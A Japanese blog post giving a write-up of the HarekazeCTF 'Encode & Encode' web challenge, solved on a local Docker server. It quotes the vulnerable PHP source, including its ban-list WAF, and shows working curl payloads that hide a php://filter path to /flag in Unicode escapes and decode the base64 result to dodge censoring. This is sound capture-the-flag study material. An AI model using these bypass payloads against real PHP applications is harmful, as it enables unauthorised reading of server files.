備忘録なるもの

harekazeCTF encode_and_encode

こんにちは。グレープ粗茶です。 下書きにおいたままの記事を掘り返してきました。 今回は、dockerでローカル環境上にweb問題のサーバーを構築できるようにしているharekazeCTFの問題を解きました。

事前準備

  1. githubにて与えられたDockerFileを使いサーバーを立てる。
  2. docker-machine ipでサーバーのローカルipを知る。
  3. そのipに対してpingコマンドで反応があるかを調べる。

    問題

[Web 100] Encode & Encode

Description

つよいWAFを作りました! これならフラグは読めないはず!


I made a strong WAF, so you definitely can't read the flag!


http://(redacted) (server/Dockerfile)

  • encode-and-encode.tar.xz

    solution

    まずは、普通にサーバーipに対してブラウザで接続する。 また、与えられたtar.xzを解答すると、サーバーのhtmlとphpソースコードを閲覧することができた。 すると、このindex.htmlはPOSTでどこのページを拾うかを決めて、contentを拾ってくるようになっている事が分かる。

また、与えられたDockerfileを見ると、flagが/flagにあることが分かる。

FROM php:7.3-apache

COPY ./php.ini $PHP_INI_DIR/php.ini
COPY ./chall /var/www/html
RUN echo "HarekazeCTF{<redacted>}" > /flag

EXPOSE 80

source code

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

query.phpで行われる処理

  • 禁止ワードを定めて弾く
  • ポストでpageがなかったら弾く
  • 拾ってきたコンテンツにHarekazeCTFが含まれていたら弾く

query.phpでの問題点

$bodyに対して禁止ワードのチェックを行い,json_decodeした$jsonに対しては禁止ワードが存在するかどうかを確認していないこと つまり、 jsonデコードした後に禁止ワードを見極めていない!

flag取得手順と対策回避

  1. flagをquey.phpに対してpageで投げる

  2. 投げる際にflagやphpが禁止ワードなのでunicodeに変換して投げる

  3. 帰ってくるflagにharekazeCTFが含まれるので弾かれる

  4. phpfilterでbase64に変換して、回避

二回回避するからencode_and_encodeなんだなぁ~(圧倒的KONAMI)

is_valid回避

postで\flagをを送ればよい。その際にunicodeへと変換する・ Unicode文字ツール \flag →\u002F\u0066\u006C\u0061\u0067

$ curl -d '{"page":"\u002F\u0066\u006C\u0061\u0067"}' http://localIP/query.php
{"content":"HarekazeCTF{&lt;censored&gt;}\n"}

これで、is_validは回避できた。 次はcontentを取得する際に入る検閲を回避する。

preg_replace回避

この関数は、あるパターンに適合すると文字列を置き換える関数であった。 【PHP】正規表現で置換するpreg_replace【サンプルコード付き】 - Qiita

以上のことから、contentを何かでエンコードして取得すればよい。

最終的に自分で一回でコード作業をする。 そのために変換フィルタを用いる。 PHP: php:// - Manual

つかえるフィルタ (PHP: 利用できるフィルタのリスト - Manual) base64への変換 PHP: 変換フィルタ - Manual

ここでbase64にflagを変換してpreg_replaceを回避できるようになる。 php://filter/convert.base64-encode/resource=/flag これでフラグをbase64へと変換した状態で取得できる。

base64のフラグを取得

上二つから、php://filter/convert.base64-encode/resource=/flagをunicodeに変換する。

\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067

これでis_validpreg_replaceを回避できる。

$ curl -d '{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}' http://192.168.99.100/query.php
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}

これをデコードする。

$ echo 'SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=='|base64 -d
HarekazeCTF{turutara_tattatta_ritta}

おわり。